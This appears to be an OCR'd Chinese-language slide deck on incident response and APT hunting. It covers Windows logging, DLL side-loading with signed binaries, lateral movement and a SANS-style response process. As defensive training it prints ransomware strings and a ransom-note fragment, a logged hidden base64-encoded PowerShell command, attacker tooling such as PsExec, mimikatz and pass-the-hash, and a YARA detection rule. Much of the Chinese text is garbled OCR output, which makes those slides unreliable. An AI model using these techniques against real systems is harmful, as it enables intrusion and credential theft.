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1 Agenda

- BEREHREERREE
- BERKEBENHEIHR
« EENHEBRYINID
- BRI, BHHEER
« BEE APT £#l9= (KMP Supply Chain Attack. Operation DRBControl)
- EREMREETIAENSE
T ZRIRAEE B
« RIEEFRZZLERIFIRE
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SHRIELE R BEINEE



] mE—TF
 Real Attacker ( Threat Actor ) - i eERHMEBNINEZE

« Red Team - T2 ERMEFE N EEZ L EEETINEEMR

« Blue Team - I X ERBEENE L EN

. White Team - T 228 FAEH K ERIVEZTHAER

* Purple Team - W%t%?l%ﬁ%I%/Eu\ﬁ?%—1IEI$1H1’E7}%ISZBEE%$E’\JE1H)

&

https://danielmiessler.com/study/red-blue-purple-teams/

https.//csrc.nist.gov/glossary/term/white_team )
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« 38H TTPs ( Tactics, Technical, Procedure ) DR EHER

Recon

\ I

PRE-ATT&CK

Priority Definition

Planning, Direction
Target Selection
Information Gathering

Technical, People, Organizational
Weakness Identification

Technical, People, Organizational
Adversary OpSec
Establish & Maintain Infrastructure
Persona Development
Build Capabilities
Test Capabilities

Stage Capabilities

Weaponize

Deliver

1 MITRE ATT&CK #EZS

Exploit

-
-~
-
-
-~
-
-~
-
-
-~
» =
-~

Control

Execute

Enterprise  _.---

ATT&CK

Initial Access
Execution
Persistence
Privilege Escalation
Defense Evasion
Credential Access
Discovery

Lateral Movement
Collection
Exfiltration
Command and Control

https://www.varonis.com/blog/mitre-attck-framework-complete-guide/
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1 seEmRE
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A B EMIER
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EIE—EEE
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EEW
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1 %REE 2RWH

- & A BERBIRGETSHHRE

« AGHFAEHRESHHNEENREZ—
- FR=E ﬁ&%ﬁ%@ﬂ
- Audit Policy Wh7B%:
- Process Command-line Audit t)icFTH
- =AEeG HAEIWAE SIEM B&
- I ARYEEIR Sysmon thitiz 3

- BRENBHBERER
- BCRELESR . [RREREERITFIIEREF
- THEHREESEEERBIFERT
- e ENIRER. EEFTEIER—REE

- EREEEE AR LB FRIRI S
- WREIBEN? (. RAEERETT

- HTEMUAERS, BE#?
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] wsmEmEs...

« JEERTLE 20480KB ...... ERNEARAE

G Event Viewe 0

File Action View Help
e 25

[2] Event Viewer (Local) | Log Properties - Security (Type: Administrative) X

ns
> [ Custom Views [ -
v [ m Windows Logs General 4
i Application Jpen Saved Log...
{3 Security Full Name: Security Ireate Custom View...
] Setup :
& System Log path: 9SystemRoot%\System32\Winevt\Logs\Security.evix ot Custom View...
| llear Log...
_E Fowardedbven | o, ;o 14,07 MB(14,749,696 bytes) ™
1 Applications and Se lilter Current Log...
.4 Subscriptions Created: Thursday, February 24, 2022 10:30:22 AM | .
roperties
Modified: Sunday, April 17, 2022 12:54:16 AM ind...
Accessed: Sunday, April 17, 2022 12:54:26 AM R\l Events As..
( \ \ttach a Task To this L...
Enable logging E. N
Maximum log size (KB ): 20480}2 Brrech
When maximum event log size is reached:
{elp »

© Overwrite events as needed (oldest events first)

En, Microsoft Wind...

(O Archive the log when full, do not overwrite events i
wvent Properties

O Do not it ts ( Clear | I
\ o not overwrite events ( Clear logs manually ) ) -
lopy »
\ave Selected Events...
Clear Log Besh
{elp »

e — y EA = X
L h LB T . WVaieiim o . A daCiicccaa B@ E m4 ;i
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1 asem...

« Logon Success 8 Log

 Process Tracking / Object Access? !

 ERETE—CEME

ao R KE... PTLA

SRK, BERZEZ015?

-~

Policy

Security Setting

[ 22, Audit account logon events

Failure

24 Audit account management
2o, Audit directory service access
2o Audit Iogon events

Success, Failure
Success, Failure
Success, Failure

[ o4 Audit object access

No auditing

24 Audit policy change
o2 Audit privilege use

Success, Failure
Success, Failure

[ .4/ Audit process tracking

No auditing

24, Audit system events

Success, Failure

TALENT
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1 BRRF—EAH

 SHEBERGINSZEFA
- BEEEM—EFTEY Service
- #ME TaskScheduler #&
- Payload D EUR AR EERIERE D E load
- FIAB K2 AEIVE dil side-loading
- BB Windows Default Service 18
- Powershell file—less &£ WMI consumer instance &

- L IREA AR

« 2EEL: Loader KERMD & 15 1B IE T 12 5 U
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:F =) Z:EH\H 7

svchostt_vi...
2rE

[m svchostt.exe

—® sk

LB

ERBE:

EUHE:
B a5s:
=ZEHER:

MBI EERINEES B

v D O = svchostt virus E ab
B E bEid] AN | i
2019/10/6 E£4 05:47 FERER 661 KB
NE | svchosttexe - 22X — O X
— — EEF) HEE) B=X(O) wRV) HE
et HEEN DAIRRZ dlustik=27H?%8 =Vl 5UBEM2=40q 227 =fiiE ? 25 =xEk/@? "B<l= ? =Xz A

svchostt.exe

FERRZ= (exe)

svchostt.exe

C:\Users\zerochen\Desktop
660 KB (676,352 1iI754R)

664 KB (679,936 1I704H)

201910868, £ 05:58:1
201910868, £ 05:47:1

20215858, T4 07:25:38

nA-23F| /NN IEEEA N

ZMIb>?=7 PE?? #.X'=HBO &??? ~ =x fEb? . P=$fEk ?y7 i9+= vilE?? 0= 05?024l ?8=x D?
X?1?= P FE? QP QP EfiE? g 2?2 0?7 2 2 ? 21?2 1?2 P? PR FE? 3% 342
(2 (2 B2 B2 2 2 2 @ P P BI2 L2 22 27 pf? o2 M2 MEP (e2 (e?
@I @ B2 B2 K2 K2 e hid 2 % oM ¥ O 2 2 MR # x?
X ? pHEE? pAE? [P FE? HF? EF? HN? HN? ?? ?? ? ? ? ?p ? op ? Xi? Xi? ??
P77 7 EE? £ @2 fzj? 8 ? 8 ? s? s? pl? pl? ?? 0?2 ?7? ?7? Hi? Fi? o? o? *?
¥ B 2 2 72 72 2?2 27 OhF? OGP ?? ?? PY? PY? ?? ?? P Mn? #E? =E?
pm? pm? /? /? {E? FE? f5? AE?Unknown exception : generic Fail to schedule the chore! This function
cannot be called on a default constructed task broken promise future already retrieved promise already satisfied
no state future badlocalename* \ SOFTWARE\Medusa Name
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Enablelinke
dConnections SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Syste
m EnablelinkedConnections [LOCKER] Scan Press OK to continue [LOCKER] I
s running

{876 1ABBD-7F85-42EE-B272-A76179687C63} [LOCKER] Is already running
[LOCKER] Priv: ADMIN

[LOCKERT] Priv: USER

Its just a business. If we do not do our work and liabilities- nobody will not cooperate with us.<k

To verify the possibility of the recovery of your files we can decrypted 1 file for free. <br>
Attach 1 file to the letter (no more than 10Mb). Indicate your <b>personal ID</b> on the letter:
<d>{{IDENTIFIER}}</d>

</div> %@ % Tliil ;i
TALENT



1 Digital Signing
%Iﬁl%ﬁ [ 488 ]

HEEN > BRNEREE

It B AT 2 RS EEE B RHE R R B RIRT -
A=p7 EERERFESNER > FRBSSINEHEEERHRAMRE - BOERREIMMNEE - W AEPEAAISE  BREAS - KRERBS  EXEER
BEIRREIAAIR - NI RTREPREC ({Translated page}} 124 -

BT (357F : Digital Signature » XEAMBAUEET) 2 RINERURSEERLNEERS - BR2ERT QMM RFEORM - DARRERIB AR
BNFGE - —ERMUREEETEEMELRNER > —EARRER - Z—ERRERE - ZERETNEFRFELBUREANRZIERLAERE - EF
BHERNVEZMMNREF XA A RAHATRE - BMHEBREREFXHREASD  BRERETFXHERE  BURFARMNBEEF ANHMANER
HHEHINBMEZANEFRE - BEIEFMANEFREHEHHE -

HUREAZER R RHEABNIER > HERBERRENNER > EAEEMR -

FNURETHIXHNTBERREZREN (FAEERES  BERD  tAFEESIINETE) [ MmEBURZEERATEER (BIARATERE) ] A&

|

f
¢

REISRARERGE ©
B [FE]
e AR
o1 sEi
s o BRAR

Mibeisioin FOERY =
5 9"!‘:11[3@% Ilml;:;l;mll = [vownuz]

i
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1 DIl side loading attack

 Looking for a.dll
2\
- \Windows\System32\
- \Windows\SystemWOW64\
- \Windows\
) O/OPATHO/O BN N I Vault

X W 4y =5

1 :\\ProgramData\Microsoft\Vault vl ¢ ZEE"Vault

s
A

2m <+ AN - = 4 7 EX a0 8E0E )
« SEIBKFRIEL S ;

AC658CB4-9126-49BD... 2018/5/9 10:30 2018/5/9 10:30

A

W

@

+

se@g@x % |°
2

m =m ' W
t NP ==F
=l BEAE H
|| svchost.bin )
W emiE 3 vault.rar nf
# IR
B =
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1 Oracle

jjs.exe
% msver100.dll
'] svchost.bin

B jjs.exe - AE
—#f  fEsk BUSE z24 #4258
HEEE
FEAH. BERE. BEEZ
Oracle A... shat 2018%382...

W jjsexe - AT

VIBIRIRR AR

—fB SR BUES =2 G
B B
st

fEE#i Java(TM) Platform SE binary
BE FERER

EBEARK 8.0.1710.11

EmEZ#E Java(TM) Platform SE 8
EmARA 8.0.1710.11

Z/E# Copyright © 2018

KN 16.4 KB
Bt BER 2018/4/27 T4 12:34
Z= ouEs

[Ria1E2 jjs.exe
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1 CyberArk

| config.ini

e» msmpeng.exe
'] thumb.dat

%] vftrace.dll

%» msmpeng.exe - A&

—f Ay BUBE z2i H42

HEAYN.. BEEE. BEHBE
Viewfinit... shail 2016 185.

few Msmpeng.exe - &

—#f  HE% BUSEE 2 FAEN DEREE

Bt
@
fEERi CyberArk Viewfinity
B|R AR
fEZERRAK 5.5.10.101
Em&TE CyberArk Viewfinity
EmARA 5.5.10.101

1=

Z1E#E  Copyright © 1999-2016 CyberArk Software Ltd. All Ri...
7\ 343 KB

{2k BER 2020/9/25 T4 01:24

m= ES A ESE)

[R#E18& vf_host.exe
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1 Windows Defender

5 MpCmdRun.exe

mpsvc.dll

CmdRun.exe - A&

—#% fHEl BUEE z2i #4858 LEIRRE

—& HEH BURE

202074/ @ MpCmdRun.exe - A&
202074/~

Z2H HAEN DEsEE

HEEE
=2 AREZE: BEEE. BEEZ
Microsoft Corporation  sha1 2015F483...
Microsoft Corporation ~ sha256 20155F453...

Bt E

it

EE#M Antimalware Service Executable
mE FERER

BEIRTK 4.8.204.0

Em&iE Microsoft Malware Protection
EmhRA 4.8.0204.0

Z/Et#E  © Microsoft Corporation. All rights reserved.
7\ 23.2 KB

et 28] 2020/4/6 T4 03:29

== RN (XE)

[FiatE& MsMpEng.exe
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j Windows WM

OO-—“, » Zbz » Windows7_0S(C) » Windows » System32 » wbem »

m Performance Adapter NE (K&éﬁ) :: = | EAEE - DE] HuER.. v FRRERER
= £ EaE Be-Fae
N[ — p a4 BORE
‘ L VNI £ & OneDrive || I2gpstore.mof 2010/11/21 £ .. MOF&
RERE: winidpSiv . T || L2SecHC.mof 2009/6/11 E50.. MOF#E
» . : : . W B [:1 litdsve.mof 2009/6/11 £50.. MOF 8
: Evioe i Ty nturnen ine R = 4] loadpertdI 2009/7/14 L5 0. BREE*
| siTRRE: i | :
1| CAWindowstsystem32iwber\ WimiApStv.exe 3 E i Micd| (=8 [t | HEEH | LEeres
b == N o
: = M
|| paRe: (B8 ] H§ 57 LS IR |
: qp e o , o3 L_| mmc]i o [
| ' : = EA v | | S Path :
V B mok THEFHEE Load & Unload Performance Comnters . [
ARFSARAE: EEEh T ==l MOic ET L0 WRIZEIES C:\Windows\System32\loadperf.dll
' . e (%] mofd RERERA 6.1.7600.16385 - i O
|| (880 | Rk [ FRe | [ &R | ) mof A ol Widoni Comiing i ormatio... C:\Windows\System32\loadperf.dl|
' : G 535 B EOUEE 61760016385 C:\Windows\System32\loadperf.dll
CALHEEHEE RIS IR RS « Elmos BRIEFR7S © Microsoft Coxporation. All xights resexved. C:\Windows\System32\loadperf.dI|
BrEh 8 04) | A B mpe $20E1NA 20007114 P4F 09:41 ormatio... C.\Wfndows\System32\Ioadperf.dll
: || msfe #E BT EDH C:\Windows\System32\loadperf.dll
] || msfe FF4efE& LODCTR.DLL C:\Windows\System32\wbem\loadperf.dll
’ L msi. ormatio... C:\Windows\System32\wbem\loadperf.dIl
; %] msip C:\Windows\System32\wbem\loadperf.dil
v 3 n M
) (i) [ 2R | L] msis C:\Windows\System32\wbem\loadperf.dll
L] msts
.. loadperfdll E3ER: 2 N
I T R |p—— BRERR
CaE ) (& =Fe TALENT JUMP




1 Symantec

] ctlXcGeaxC
] NAVLUdII
% VPDN_LU.exe

@® VPDN LU.exe - AE
—%  EEte BUBE 2 #4AZR LU

HEEE

BEEE. BEH
20074

FZEARZHE:
Symantec Corporation shal

& VPDN_LU.exe - RE

—f  1HE HUEE 2 FAREN LEREE

=gk &

it

fEZEHi Symantec AntiVirus
fBa FERREH

BEARZ 10.1.6.6000
ERE&TE Symantec AntiVirus

EmAiEZA 10.1.6.6000

Z{E#  Copyright 1991 - 2006 Symantec Corporation. All rig...
A 74.1 KB

[ZctHER 2014/8/27 £ 11:57

== =Y (EE)
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T’ McAfee

] Mc.cp

@ Mc.exe

% McUtildll
E Mc.exe - A&

i
i
‘ml

HEEE

HEAL. BEEE. BBHEE
McAfee, I... md5 2008 FE681

IM| Mc.exe - A&

—#  AEM HUSEE i SFAEN DEERE

Bt E

@it

fEEHi McAfee OEM Info Copy Files
£ EEE] ERER

EBERE 2.1.115.0

Zm&E McAfee Oem Module
EmiEA 2,1,0,0

Z/E#E Copyright © 2006 McAfee, Inc.
K/ 137 KB

[Zet HEf 2008/6/12 L4 12:40

ES RN (EH)

[F#51E4 mcoemcpy.exe
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Iron Tiger aka APT 27 Luckymouse

Certificate Revocation List

@ H

General Details Certification Path General Revocation List

Details Previous Versions
General Compatibility Digttal Signatures File Hashes

Revoked certificates:

Show: | <All> v

Serial number Revocation date

08439e23db17611792f26226601d88cS 20204 10H 271 08:00...
0894d5bcg64bc2ac26bad3e92eebs781 20209 115278 13:30...
0c219011c564a3f63d554a274aeb05b8 20205 118308 08:00...
0f07a9cfa6a7156767f05e 17b751c5¢5 2021048231 12:

Signature list

Field Value A
El Version V3

Serial number l 0f07a9cfaba7156767f05e 17b751c5¢5 I
|j Signature algorithm  shalRSA

|i] Signature hash alg... shal

Name of signer: Diges... Timestamp

Beijing Kingsoft Security s... shal 20205105268 13:26:37
Beijing Kingsoft Security s... sha256 20204108268 13:26:38

Dlssuer DigiCert Assured ID Code Signing CA-1,... Revocation entry
[=] valid from 20207028078 08:00:00
[=]valid to 2023303820 8 20:00:00 sl sahic
=g hiart Reiiinn Kinnenft Qe rity enfhuars Cn | ¥ Serial number 0f07a9cfa6a7156767f05e 17b751c5¢5
Revocation date 2021%04H238 12:30:00 I )
007250 faba 71567671052 1 7675 o505

General Advanced

— ., Digital Signature Information
#<| This digital signature is OK.

Signer information

LF
Edit Properties. .. Copy to File...

Name: IBeijing Kingsoft Security software Co.,Ltd '

E-mail: |Not available =1 [(—)
Signing time: |2020%F 108268 13:26:37 a L‘* l-’aHA ?]. x.yh*]'k 7..’
: 10w cap she eew

View Certificate

Countersignatures

Name of signer: E-mail address: Timestamp
Symantec Time ... Not available 2020 10A261 13...

Details

2021/5/5

https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt- I
updates-toolkit-with-evolved-sysupdate-malware-va.html 5 8 T 1%
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=HITHR: Autoruns

7= Autoruns - Sysinternals: www.sysinternals.com
File Entry Options Help

= BN B
€ Winsock Providers 2 Print Monitors ¥ LSA Providers & Network Providers & WMI B Sidebar Gadgets
& Everything # Logon “ Explorer @ Internet Explorer ) Scheduled Tasks % Services 5, Drivers (2 Codecs X1 Boot Execute 3 Image Hijacks [ AppInit 1% KnownDLLs @aw
Autorun Entry Description Gubliche Image Path Timestamp
4 HKLM\SOFTWAREMicrosoft\Windows\CurrentVersion\Run \ 2021/4/28 J:}F- 10:40
© CGSeniSign CGServiSignMonitor.exe (Verified) Changing Information Techndpgy I... c:\program files (x86)\chang™~~*~ ! :

# HKLM\SOFTWARE\Microsoft\Active Setup\installed Components
% NET Framework Google Chrome Installer
J Active Directory Service Interface  Microsoft Edge Installer

7= Autoruns - Sysinternals: www.sysinternals.com

File Entry Options Help

(Verified) Google LLC
(Verified) Microsoft Corporation

c\program files\google\chro
c\program files (x86)\micros

d@sa@xK

> Print Monitors
@ Internet Explorer

€ Winsock Providers

3 Everything # Logon & Explorer

) Scheduled Tasks

© LSA Providers
% Services

2 Drivers

& Network
O] Codecs |

Autorun Entry Description

& HKLM\SOFTWAREMicrosoft\Windows\CurrentVersion\Run
v © CGSenviSign CGServiSignMonitor.exe
& HKLM\SOFTWARE\Mlcrosoft\Actlve Setup\Installed Components
% NET Framework Google Chrome Installer
Active Directory Service Interface  Microsoft Edge Installer
Dynamic HTML Data Binding Google Chrome Installer
Google Chrome Google Chrome Installer
HTML Help Microsoft Edge Installer
Internet Explorer Core Fonts Microsoft Edge Installer
% Microsoft Edge Microsoft Edge Installer
# HKLM\SOFTWARE\Classes\Protocols\Filter
¥ textixml
& HKCU\Software\Classes\"\ShellEx\ContextMenuHandlers
I* FileSyncEx Microsoft OneDrive Shell Ext
- [v] ' LEContextMenuHandler.FileConte...
# HKLM\Software\Classes\\ShellEx\ContextMenuHandlers
= 7-Zip 7-Zip Shell Extension
I ANotepad++64 ShellHandler for Notepad++
& HKLM\Software\Wow6432Node\Classes\*\ShelEx\ContextMenuHandlers

[A 1 72.7in 7_7in Qhall Evtancinn

G- &= G OF

£

Microsoft Office XML MIME Fj ..

Publisher

(Verified) Google LLC
(Verified) Microsoft Corporation
(Verified) Google LLC
(Verified) Google LLC
(Verified) Microsoft Corporation
(Verified) Microsoft Corporation
(Verified) Microsoft Corporation

(Verified) Microsoft Corporation

ek(\/en‘fied) Microsoft Corporation

(Verified) Changing Information Technd

bgy |...

J

(Not verified) Igor Paviov
(6... (Verified) Notepad++

INInt varifiad\ lnnar Dol

Image Path

c:\program files (x86)\chang /

c:\program files\google\chro
c:\program files (x86)\m|crom’
c\program flles\google\chro'
c:\program files\google\chrop
c:\program files (x86)\micros?
c\program files (x86)\micros
c:\program files (x86)\micros

c:\program files (x86)\micros

c:\users\zerochen\appdatallocal\imicrosoftionedrive\21.062.0328.000 1\amd64\filesyncs...
File not found: :/Users/zerochen/Downloads/Locale Emulator/LEContextMenuHandler....

c:\program files\7-zip\7-zip.dil
c:\program files\notepad++\nppshell_06.dlI

~nrnaram filac\7_7in\ 7_7in22 All

2021/4/29 T4 02 55,

2017/3/7 £4 04:05

2020/10/20 T4 05:24
2019/2/22 4 12:00
2014/5112 T4 05:49

2020/10/20 T4 05:24
2010299 LAt 1200
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IRERA—EAHE (Part 2)

- B EEUEANIER

- svchost.exe
explorer.exe
msiexec.exe
iexplorer.exe
msdtc.exe
dilhost.exe

. IREA K fmE

- HBE: REEEANEERNARHER
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=AM IER: Process Explorer

¥ Process Explorer - Sysinternals: www.sysinternals.com [ZERO-OFFICE\zerochen]

File Options View Process Find DLL Users Help

d@[mpos8|s x[ae | | — | - —_
Process CPU Private Bytes  Working Set  PID Description Company Name Verified Signer
[ svchost.exe <0.01 2,156 K 3,100 K 1808 Windows Services HY=E#& .. Microsoft Corporation (Verified) Microsoft Windows )
w5 Intel CpHDCPSve.exe 1,404 K 2,172 K 1836 Intel HD Graphics Drivers ... Intel Corporation (Verified) Microsoft Windows Hardlware Compatibilit..
|—|rEsvchost.exe 3536 K 6,864 K 1856 Windows Services BY=E#E .. Microsoft Corporation (Verified) Microsoft Windows
a7 sihost.exe 11,128 K 22,628 K 14404 Shell Infrastructure Host Microsoft Corporation (Verified) Microsoft Windows
[ svchost.exe 3524 K 3588 K 1864 Windows Services HY=EHE .. Microsoft Corporation (Verified) Microsoft Windows
[ svchost.exe 1944 K 2,684 K 1920 Windows Services BY=E#E. .. Microsoft Corporation (Verified) Microsoft W indows
[ svchost.exe 15716 K 14,460 K 1996 Windows Services BY==#8... Microsoft Corporation (Verified) Microsoft Windows
[ svchost.exe 2,508 K 3,372 K 2020 Windows Services HY=E#& .. Microsoft Corporation (Verified) Microsoft Windows
6 Windows Services HY=E#E .. Microsoft Corporation (Verified) Microsoft Windows
4 Windows Services HYZ=48& .. Microsoft Corporation (Verified) Microsoft Windows
0 IntelCpHeciSvc Executable  Intel Corporation (Verified) Microsoft Windows Harcdvare Compatibilit..
2 Windows Services HY=E4&. .. Microsoft Corporation (Verified) Microsoft Windows
y 6 Windows Services HY=E4& .. Microsoft Corporation (Verified) Microsoft Windows
0
— 2 igfxCUIService Module Intel Corporation (Verified) Microsoft Windows Hardvare Compatibilit..
~ 4\ 4 iofxEM Module Intel Corporation (Verified) Microsoft Windows Hardvare Compatibilit..
. r\ X Sy 4 Windows Services HYZ=48& .. Microsoft Corporation (Verified) Microsoft Windows
| AN /7/‘ N 4 Lenovo Power Managemen... Lenovo. (Verified) Microsoft Windows ware Compatibilit..
Name \ & P 1 Verified Signer
{BAF o hData\Microsoft\W indows\Caches\{ 6AFOGI8E... (FiE ERYEEIRMEEBAR TEWEAF...
{6C7 N hData\Microsoft\W indows\Caches\{6C7735C6... (Fri5ERVESEIEMEA ZEFHA...
{7732 ( — hData\Microsoft\W indows\Caches\{7732F517-... (FifE RS EIRHEEA TIETA...
{8817 Hy hData\Microsoft\Windows\Caches\(8817EAB... (Fi5ERVSEIEMEA ZEFA...
{AFB rochen\AppData‘Local\Microsoft\Windows\C... (FRiS BNV EEIEHEEAR ZEEA ...
{DOB 15 B pE 5% 25 160 Data\Microsoft\W indows\Caches\{ DOBC265... (Fi5 RV EIEMEA ZEFA...
(DDF tix Ui ‘ Data\Microsoft\W indows\Caches\{ DDF571F... (Ff§ CHVEEIEHEE A ZEEA...
Activ s\Systern32\ActivationManager.dll (Verified) Microsoft Windows
advapi siSystern32tadvapi32.dil (Verified) Microsoft Windows
AppC stSystemn32\AppContracts.dll (Verified) Microsoft Windows
apphell s\Systern32apphelp.dll (Verified) Microsoft Windows

AppointmentActiv... DLL for AppointmentActivation
AppXDeployment... AppX #iE FH Pis DLL

Microsoft Corporation
Microsoft Corporation

CAW indows\System32\Appointment Activation.dll
CAW @ndows\System32\AppXDeploymentClient.dll

(Verified) Microsoft Windows
(v er@f @ed) Microsoft W@ndows
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T s —: BRSNS T
, EEENERNENBARE(R)ER

FEn

e

c ERZEAIVETRIE(R)IEN
- DB Auditing __E

- B2 E Log
- B Trigger 1=

s BREN—RASRGE, EFNTHRERERE

- (BUIRNEBF/AERIERAEEM... ( Ex: PCI-DSS., BEBLXEX )
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T s EHENEREE

Service Name: PSEXESVC
Service File Name: %SystemRoot%\PSEXESVC.exe

Service Start Type: demand start
Service Accoun t: LocalSystem

» 1% Event ID 7040 / 7045 2K 14 {E Index List o

Service Control Manager Logged:

- BHIEE, IWEEEIEB ( Outlier ) ffitss& n e o
- S EREARNEN KR EZENFEMmE ( Ex: PsExec / PSEXESVC )

 FE Process Command-line Audit, Event ID 4688

nmap, Copy, XCopy, rar, nbtscan, net use [*wme oo

New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0
\powershell.exe

p owers h e | | exe —-\w h i d d en —enc Token Elevation Type: g:::onElevationTypeDefault )

Creator Process ID:
Process Command Line:  "C:\Windows\System32\WindowsPowerShell\v1.0

. o ¥
p I n g - n 1 XXX . XXX . XXX . XXX ;%c;‘;v\f\r:/g;“l(.?;{eDbqu:‘(;?((:{T:kSianWUgPSAiLiIsICRGanIUGFOaCA9ICIuXEchprYZFOaW9uc0Iu

dmVudG9yeS5jc3YiKQOKDQpnZXQtd21pb2)gZWNOICT1xdWVyeSAIUOVMRUNUICogRIUPTSBXa

N oo / ? A - = [W4zMI9Qcm9kd WNOIiAtY29tcHVOZX)uYW1IICRDb2 1wdXRIckShbWUgfCANCnNvenQtb2)qZW
- JE ﬁ 1E j ] E %E —% ;i\ —_— INOIFZIbmRvciB8IAOKc2VsZWNOLW9iamVjdCBQUONvbXB1dGVy TmFZSxWZW5kb3IsTmFZSxW|
b A TG [ZX)zaW9uLENhcHRpb24sRGVzY3)pcHRpb24sSW5zdGFsbERhdGUsSW5zd GFsbExvY2F0aW9uLEI
uc3RhbGxTh3VyY2UsUGFja2FnZU5hbWUgfAOKZXhwb3JOLWNzdiAtcGF0aCAkRmIsZVBhdGgglL
[WFwcGVuZCA=

- (BRIIRZE1SHE SIEM, BRIGERNZZEHE

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation =2 S il 3%
TALENT



Vil =

« DAEIIR jjs.exe BT

Loader —#x, 1E jli.

EESIEFFERE. RN AIND S
T jlidil - 2EE
BEF) HEE) BX(O) BIRV) REA
g: ? (u R fnx V ?g: uo

g ? \EHEE/T)H 0 Web _Client _yuuyuuyuuuuyuuy UUUUUUUUUUUUUUUUUUUUUUUUUUL

svchost.bin \svc ho st.exea EINFO INDENT  %s JRFE[Z

lﬁ*&‘w%W%EwA%@ETFﬁG : TR A o H R
LRI F30MEZE ME SKRFEZEE HUIHWASDIHWEIUDHDSFSFEF)
EFWFWEWD  H p = XL fll 2 ?

Jjlidi - 22K

BEF) HEE) B=X(O0) BR(V) HRA

a FreeEnvironmentStringsW ?GetEnvironmentStringsW ?QueryPerformanceCounter

f SetFilePointer ?GetConsoleCP ?GetConsoleMode r GetCPInfoh GetACP 7 GetO
IsValidCodePage g MultiByteToWideChar ? CreateFileA d CompareStringW V SetEn
HeapReAlloc ?SetStdHandle $ WriteConsoleW- LCMapStringW i GetStringTypeW
W FlushFileBuffers S SetEndOfFile ?ReadFile Z? (? <? P?

jli.dil JLI_CmdToArgs JLI_GetStdArge JLI_GetStdArgf JLI_LaunchJLI_MemAlioc

BEEELE YARAWIER, &

https://github.com/VirusTotal/yara/releases

: FIIFH YARA {80 B4

dil H/\i&, C2 DDNS A,
X ARIEL B 1EIR

Z4REN

EFF R IE B

It
[y

?E

HE1E1® HASH —)
E ( IoCs )

_jli_dllyar - 25K

BEE #BE B0 BREVY HRE
rule jli_dlIl_hellokety
{
meta:
author = "talent-jump.com"
date ="2019/03"
maltype = "PlugX Java Launcher jli.dll"
filetype = "dII"

strings:
Sstring0 = "LoadLibraryA"
Sstringl = "CreateProcessA"
Sstring2 = "CreateRemoteThread"
Sstring3 = "hellokety"
Sstring4 = "JLI_Launch"
Sstring5 = "WriteProcessMemory"

condition:
all of them

\

GRS
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QP BhENZEEIR

y BE%ET\ SHYIR
- H*/D\E’J RIEEAAEXZHERS
- BREEAMEREN, MHXAEERN
- B S RAZINERBEEU FEE.. .

/Windows/

/Windows/System32/
/Windows/System32/{SRandomNamed}/
/Windows/System32/wbem/
/ProgramData/
/Users/{SYourName}/AppData/

/Program Files/Common Files/
/SRECYCLE.BIN/

. BMEETUEANSHE—ENe

I8
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1 SR ERREREE, EAESHEE?

« [FIREEH: FEAEETE
- Endpoint. fEIARZRIIFIIAN AD ETH—EIL
- ALLENE R Backup Server thEEB5F I IRES

- WBEEZNEIRIZR
- BIRFCH mimikatz & Credential [T
- 1%E PtH T AD W, BLRAFTEY
- AD #3712, 815 Backup Server EFNEE

- NAERERREMEZEENZR, Backup Server At —HINZ1E

« FTLA... BE4FEI3E Backup Server 455! 82k AYEY

&7
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T 7N BESRER T ARE kel

* DA Operation DRBControl 2zl 0] = <
- EREEREPERIRNEZFEANERAS E E
- BBDIAEFHIREAFE Dropbox EENFIREER 51 = o
- WEoTEFfEEEIR Dropbox B APl Access Token A,
- 1EF5%Z API Access Token E1TKRIE}E F;} B
[12] =
[13] =
— 35534 Dropbox IR {84
- IQE% BN E R ERE LR 2 52502 6] -
- EZEE—SHHAEAE oCs
- RS HRENE AW TR >3] -
http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox/
BB
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SANS Incident Response 6 steps

- People - Policies -Tools - Training
Prepa ration — - Notes - Procedures - Mgt Tng - Jump Bag
o Relationships - Coms plan
~— - Awareness - Alert Early -Primary IRHandler - Unusual Files —
ops . | - Need to Know - Use OOB Comms - Passive monitoring - Analyze Logs |
Identification ] - Unusual processes - New Accts / Privs - Odd Sch Tasks - Chain of Custody [

“— - Unusual Security Evts —

- Stop Bleeding - Short-term - Back-up - Long-term
- Categorize - Criticality - Sensitivity - Document Actions
Containment - Notify Mgt - Asgn Primary IRH - Low Profile - Infected Vian
- Remove LAN Cbl - FW/IDS Filters - ISP coord - Forensic Images
- Memory Captures - Adjacent HostLogs - Patch Exploited Vuln(s)
- Chg Pswds - Kill Backdoors
" Del Artifacts - Root Cause - Restore Back-up - Remove Malware b
Eradication — - Apply All Patches - Addl FW / IDS Filters - Chg DNS Names - Rescan network >
s Black Hole IP’s - Seek other Host footholds - Wipe/Format/Rebuild =
R - Return to Ops - Test /Doc Baseline - Move to Production (Approval)
ecovery - Monitor (signs/shells/artifacts/events) - Script searches for attacker artifacts
[ - Documentincident - Immediately upon recovery Phase - Assign to on-Scene IRH T
I - All affected parties review / comment on draft - Reach Report Consensus ‘
Lessons Learned - Finalize Report - Provide Exec Summary - Address Process not people \ E@ _— -:-I' ;i
~ - Seek Required Changes - Seek Funding - Update Procedures === pr B m
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1 SANS Incident Response 6 steps

* Preparation
SHIRVATE 3=y
- EEREITE BRI
- EECERLEEREREEMS
- RYiZ CSIRT /)\4H

 |dentification
. BRRGREEM
- DI EHEREEELR
- RSB EUNERE . RN

e Containment
- TR ENE L A E R Y
Sl b AL b
L SRR M T E R R

https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901

 Eradication
- WEREMRE
- EEREAT RSB AS
. BB ERBMEEEEMR 10Cs

* Recovery
. RBIEE. SRENAGTEM
- BRRATEM
SIEE N E S MY
e Lesson Learned
- IR EMBANMIER
. BEEMGREREE SRS
- P EMIRE SRR ES [
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1 Computer Security Incident Response Team

* CSIRT EEXxE—MREREHRIEEN

- CSIRT EXRRE:
-R&mﬁﬁ(%%\§ﬁ\ﬁﬂﬁxﬁ_ﬁﬁ%)
- BLEN
. A RB
- ABAEEAI
- BEE (BRR, BERENLEERSHENREDT
- B EREERN
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1 BRESFRURESTEE=X

[ J
\m,
/
Wl
I~
T

B foE EME[IE¥E, CSIRT WEEEMUERRE LAIH

[ J
\m,
/
Wl
I~
T

B foE EME[IE¥E, CSIRT WEEEMUERRE LAIH

[ J
\m,
/
Wl
I~
T

B foE EME[EEE, CSIRT WEEEMUERRE LAIH
